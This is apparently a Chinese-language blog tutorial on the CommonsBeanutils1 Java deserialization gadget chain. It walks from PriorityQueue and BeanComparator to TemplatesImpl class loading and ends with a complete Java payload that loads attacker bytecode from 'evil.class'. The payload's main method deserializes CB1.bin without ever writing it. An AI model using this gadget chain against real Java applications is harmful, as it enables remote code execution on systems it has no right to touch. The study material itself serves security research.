CB
参考:https://www.cnblogs.com/1vxyz/p/17588722.html
环境:jdk8u65 && commons-beanutils 1.8.3 && commons-logging 1.2
首先介绍一下CommonsBeanutils和JavaBean
CommonsBeanutils 是应用于 JavaBean 的工具 它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
JavaBean 是一种JAVA语言写成的可重用组件 它是一个类
所谓JavaBean 是指符合如下标准的Java类:
- 类是公共的
- 有一个无参的公共的构造器
- 有私有属性 且须有对应的get,set方法去设置属性
- 对于boolean类型的成员变量 允许使用”is”代替上面的”get”和”set”
下面举个例子
1 2 3 4 5 6 7 8 9 10 11 12
| public class Person { private String name; public Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String n) { name = n; } }
|
作为JavaBean的属性 一定是得有get和set两个方法才行的
接下来我们进入CB链
sink点在PropertyUtils::getProperty

值得一提的是 PropertyUtils::getProperty() 还支持递归获取属性值 所以如果当一个JavaBean的getter方法存在可利用的点 那么配合这个sink点就能达成不错的效果
我们先不提JavaBean后面命令执行 先讲讲PropertyUtils::getProperty()在何处被调用
这里最好是找到一个能过序列化同时自己就会实例化PropertyUtils的类 那么找到的是BeanComparator

因为是Comparator 我们容易联想到CC2/CC4中的PriorityQueue
PriorityQueue中包含Comparator属性 同时可序列化 通过readObject()走到compare
然后我们讲讲PropertyUtils::getProperty()后面的JavaBean的getter利用
这里的利用点也就是CC3中的TemplatesImpl恶意类加载 这里直接给出gadget chain

1 2 3 4 5 6 7 8 9 10
| Gadget chain: PriorityQueue::readObject() -> ...... -> BeanComparator::compare() -> PropertyUtils::getProperty() -> TemplatesImpl::getOutputProperties() -> TemplatesImpl::newTransformer() -> TemplatesImpl::getTransletInstance() -> TemplatesImpl::defineTransletClasses() -> TransletClassLoader::defineClass()
|
防止序列化时就执行命令 最好还是将恶意数据在反射的时候再进行修改
得注意后面调用getter方法之前是用属性名字来索引的 所以根据TemplatesImpl的property名字是outputProperties 我们可以在BeanComparator初始化的时候就将传入PropertyUtils的property名字给换成outputProperties 但是这样的话 就只能直接修改PriorityQueue实例的size为2 就不给它add了
与CC2/4 略微不同的是 还需要用反射去修改 queue属性的值 因为要控制 BeanComparator::compare()的参数为恶意templates对象
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public class cb { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "jed"); byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_class", null);
BeanComparator comparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
setFieldValue(queue,"queue",new Object[]{templates,templates}); setFieldValue(queue,"size",2);
unserialize("CB1.bin"); }
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB1.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|